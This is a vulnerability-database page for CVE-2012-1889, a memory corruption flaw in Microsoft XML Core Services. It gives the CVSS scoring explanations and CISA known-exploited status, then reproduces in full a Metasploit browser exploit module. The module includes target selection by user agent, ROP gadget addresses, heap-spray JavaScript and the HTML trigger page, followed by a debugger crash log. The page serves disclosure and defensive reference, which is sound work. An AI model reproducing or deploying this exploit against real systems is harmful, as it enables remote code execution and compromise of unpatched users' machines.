CVE-2012-1889 : Detail

CVE-2012-1889

8.8
/
High
Overflow
95.37%V3
Network
2012-06-13
01h00 +00:00
2025-02-04
18h24 +00:00
CVE.org
NVD
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CVE Descriptions

Microsoft XML Core Services 3.0, 4.0, 5.0, and 6.0 accesses uninitialized memory locations, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Microsoft XML Core Services Memory Corruption Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-06-07 22h00 +00:00

Action is due : 2022-06-21 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 19186

Publication date : 2012-06-15 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "9.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :classid => "{f6D90f11-9c73-11d3-b32e-00C04f990bb4}", :method => "definition", :rank => GoodRanking }) def initialize(info={}) super(update_info(info, 'Name' => "MS12-043 Microsoft XML Core Services MSXML Uninitialized Memory Corruption", 'Description' => %q{ This module exploits a memory corruption flaw in Microsoft XML Core Services when trying to access an uninitialized Node with the getDefinition API, which may corrupt memory allowing remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'inking26', # Reliable exploitation 'binjo', # Metasploit module 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-1889' ], [ 'BID', '53934' ], [ 'OSVDB', '82873'], [ 'MSB', 'MS12-043'], [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2719615' ], [ 'URL', 'http://www.zdnet.com/blog/security/state-sponsored-attackers-using-ie-zero-day-to-hijack-gmail-accounts/12462' ], [ 'URL', 'http://hi.baidu.com/inking26/blog/item/9c2ab11c4784e5aa86d6b6c1.html' ], [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/06/18/metasploit-exploits-critical-microsoft-vulnerabilities' ] ], 'Payload' => { 'BadChars' => "\x00", 'Space' => 1024 }, 'DefaultOptions' => { 'ExitFunction' => "process", 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # msxml3.dll 8.90.1101.0 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Offset' => '0x100', 'Rop' => nil, 'RandomHeap' => false } ], [ 'IE 7 on Windows XP SP3 / Vista SP2', { 'Offset' => '0x100', 'Rop' => nil, 'RandomHeap' => false } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'RandomHeap' => false, 'RopChainOffset' => '0x5f4', 'Offset' => '0x0', 'StackPivot' => 0x77c15ed5, # xchg eax, esp # ret # from msvcrt.dll } ], [ 'IE 8 with Java 6 on Windows XP SP3', { 'Rop' => :jre, 'RandomHeap' => false, 'RopChainOffset' => '0x5f4', 'Offset' => '0x0', 'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll } ], [ 'IE 8 with Java 6 on Windows 7 SP1/Vista SP2', { 'Rop' => :jre, 'RandomHeap' => false, 'RopChainOffset' => '0x5f4', 'Offset' => '0x0', 'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll } ], [ 'IE 9 with Java 6 on Windows 7 SP1', { 'Rop' => :jre, 'RandomHeap' => true, 'RopChainOffset' => 0x5FC, 'Offset' => '0x0', 'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll } ] ], 'Privileged' => false, 'DisclosureDate' => "Jun 12 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1] #IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2] #IE 7 on Windows XP SP3 elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ return targets[2] #IE 7 on Windows Vista SP2 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[3] #IE 8 on Windows XP SP3 elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/ return targets[5] #IE 8 on Windows 7 SP1/Vista SP2 elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/ return targets[6] #IE 9 on Windows 7 SP1 else return nil end end def ret(t) case t['Rop'] when :msvcrt return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll when :jre return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll end end def popret(t) case t['Rop'] when :msvcrt return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll when :jre return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll end end def get_rop_chain(t) if t['RandomHeap'] adjust = [ 0x0c0c0c0c ].pack("V") # heap isn't filled with pointers to 0x0c0c0c0c adjust << ret(t) else adjust = ret(t) end adjust << popret(t) adjust << [ t['StackPivot'] ].pack("V") adjust << ret(t) * 4 # first call to a "ret" because there is a good gadget in the stack :) # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") rop = generate_rop_payload('msvcrt','',{'target'=>'xp', 'pivot'=>adjust}) else print_status("Using JRE ROP") rop = generate_rop_payload('java','',{'pivot'=>adjust}) end return rop end def get_easy_spray(t, js_code, js_nops) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{t['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x230; z++) { heap_obj.alloc(block); } JS return spray end def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); var nops_90 = unescape("#{js_90_nops}"); var rop_chain = unescape("#{js_rop}"); while (nops.length < 0x80000) nops += nops; while (nops_90.length < 0x80000) nops_90 += nops_90; var offset = nops.substring(0, #{t['Offset']}); var nops_padding = nops.substring(0, #{t['RopChainOffset']}-code.length-offset.length); var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x230; z++) { heap_obj.alloc(block); } JS return spray end # Spray published by corelanc0d3r # Exploit writing tutorial part 11 : Heap Spraying Demystified # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/ def get_random_spray(t, js_rop, js_code, js_90_nops) spray = <<-JS function randomblock(blocksize) { var theblock = ""; for (var i = 0; i < blocksize; i++) { theblock += Math.floor(Math.random()*90)+10; } return theblock; } function tounescape(block) { var blocklen = block.length; var unescapestr = ""; for (var i = 0; i < blocklen-1; i=i+4) { unescapestr += "%u" + block.substring(i,i+4); } return unescapestr; } var heap_obj = new heapLib.ie(0x10000); var rop = unescape("#{js_rop}"); var code = unescape("#{js_code}"); var nops_90 = unescape("#{js_90_nops}"); while (nops_90.length < 0x80000) nops_90 += nops_90; var offset_length = #{t['RopChainOffset']}; for (var i=0; i < 0x1000; i++) { var padding = unescape(tounescape(randomblock(0x1000))); while (padding.length < 0x1000) padding+= padding; var junk_offset = padding.substring(0, offset_length - code.length); var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length); while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); heap_obj.alloc(sprayblock); } JS return spray end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}") send_not_found(cli) return end p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) if not my_target['Rop'].nil? js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch)) end if my_target['RandomHeap'] js = get_random_spray(my_target, js_rop, js_code, js_90_nops) elsif not my_target['Rop'].nil? js = get_aligned_spray(my_target, js_rop, js_code, js_nops, js_90_nops) else js = get_easy_spray(my_target, js_code, js_nops) end js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end object_id = rand_text_alpha(4) html = <<-EOS <html> <head> <script> #{js} </script> </head> <body> <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="#{object_id}"></object> <script> var obj = document.getElementById('#{object_id}').object; var src = unescape("%u0c08%u0c0c"); while (src.length < 0x1002) src += src; src = "\\\\\\\\xxx" + src; src = src.substr(0, 0x1000 - 10); var pic = document.createElement("img"); pic.src = src; pic.nameProp; obj.definition(#{rand(999) + 1}); </script> </body> </html> EOS html = html.gsub(/^ {4}/, '') print_status("#{cli.peerhost}:#{cli.peerport} - Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin (e34.358): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=7498670c ebx=00000000 ecx=5f5ec68b edx=00000001 esi=7498670c edi=0013e350 eip=749bd772 esp=0013e010 ebp=0013e14c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 msxml3!_dispatchImpl::InvokeHelper+0xb4: 749bd772 ff5118 call dword ptr [ecx+18h] ds:0023:5f5ec6a3=???????? 0:008> r eax=020bf2f0 ebx=00000000 ecx=00000000 edx=00000001 esi=020bf2f0 edi=020bf528 eip=749bd772 esp=020bf1a8 ebp=020bf2e4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 msxml3!_dispatchImpl::InvokeHelper+0xb4: 749bd772 ff5118 call dword ptr [ecx+18h] ds:0023:00000018=???????? 0:008> k ChildEBP RetAddr 020bf2e4 749bdb13 msxml3!_dispatchImpl::InvokeHelper+0xb4 020bf320 749d4d84 msxml3!_dispatchImpl::Invoke+0x5e 020bf360 749dcae4 msxml3!DOMNode::Invoke+0xaa 020bf394 749bd5aa msxml3!DOMDocumentWrapper::Invoke+0x50 020bf3f0 749d6e6c msxml3!_dispatchImpl::InvokeEx+0xfa 020bf420 633a6d37 msxml3!_dispatchEx<IXMLDOMNode,&LIBID_MSXML2,&IID_IXMLDOMNode,0>::InvokeEx+0x2d 020bf460 633a6c75 jscript!IDispatchExInvokeEx2+0xf8 020bf49c 633a9cfe jscript!IDispatchExInvokeEx+0x6a 020bf55c 633a9f3c jscript!InvokeDispatchEx+0x98 020bf590 633a77ff jscript!VAR::InvokeByName+0x135 020bf5dc 633a85c7 jscript!VAR::InvokeDispName+0x7a 020bf60c 633a9c0b jscript!VAR::InvokeByDispID+0xce 020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x2989 020bf890 633a59f7 jscript!ScrFncObj::CallWithFrameOnStack+0xff 020bf8dc 633a5743 jscript!ScrFncObj::Call+0x8f 020bf958 633891f1 jscript!CSession::Execute+0x175 020bf9a4 63388f65 jscript!COleScript::ExecutePendingScripts+0x1c0 020bfa08 63388d7f jscript!COleScript::ParseScriptTextCore+0x29a 020bfa30 635bf025 jscript!COleScript::ParseScriptText+0x30 020bfa88 635be7ca mshtml!CScriptCollection::ParseScriptText+0x219 =end

Products Mentioned

Configuraton 0

Microsoft>>Xml_core_services >> Version 3.0

Microsoft>>Xml_core_services >> Version 4.0

Microsoft>>Xml_core_services >> Version 6.0

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8 >> Version -

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Xml_core_services >> Version 5.0

Microsoft>>Expression_web >> Version 2

Microsoft>>Expression_web >> Version sp1

    Microsoft>>Groove >> Version 2007

      Microsoft>>Groove >> Version 2007

        Microsoft>>Groove_server >> Version 2007

          Microsoft>>Groove_server >> Version 2007

            Microsoft>>Office >> Version 2003

            Microsoft>>Office >> Version 2007

            Microsoft>>Office >> Version 2007

            Microsoft>>Office_compatibility_pack >> Version -

            Microsoft>>Office_compatibility_pack >> Version -

            Microsoft>>Office_word_viewer >> Version -

            Microsoft>>Sharepoint_server >> Version 2007

            Microsoft>>Sharepoint_server >> Version 2007

            References

            http://www.us-cert.gov/cas/techalerts/TA12-192A.html
            Tags : third-party-advisory, x_refsource_CERT
            http://www.us-cert.gov/cas/techalerts/TA12-174A.html
            Tags : third-party-advisory, x_refsource_CERT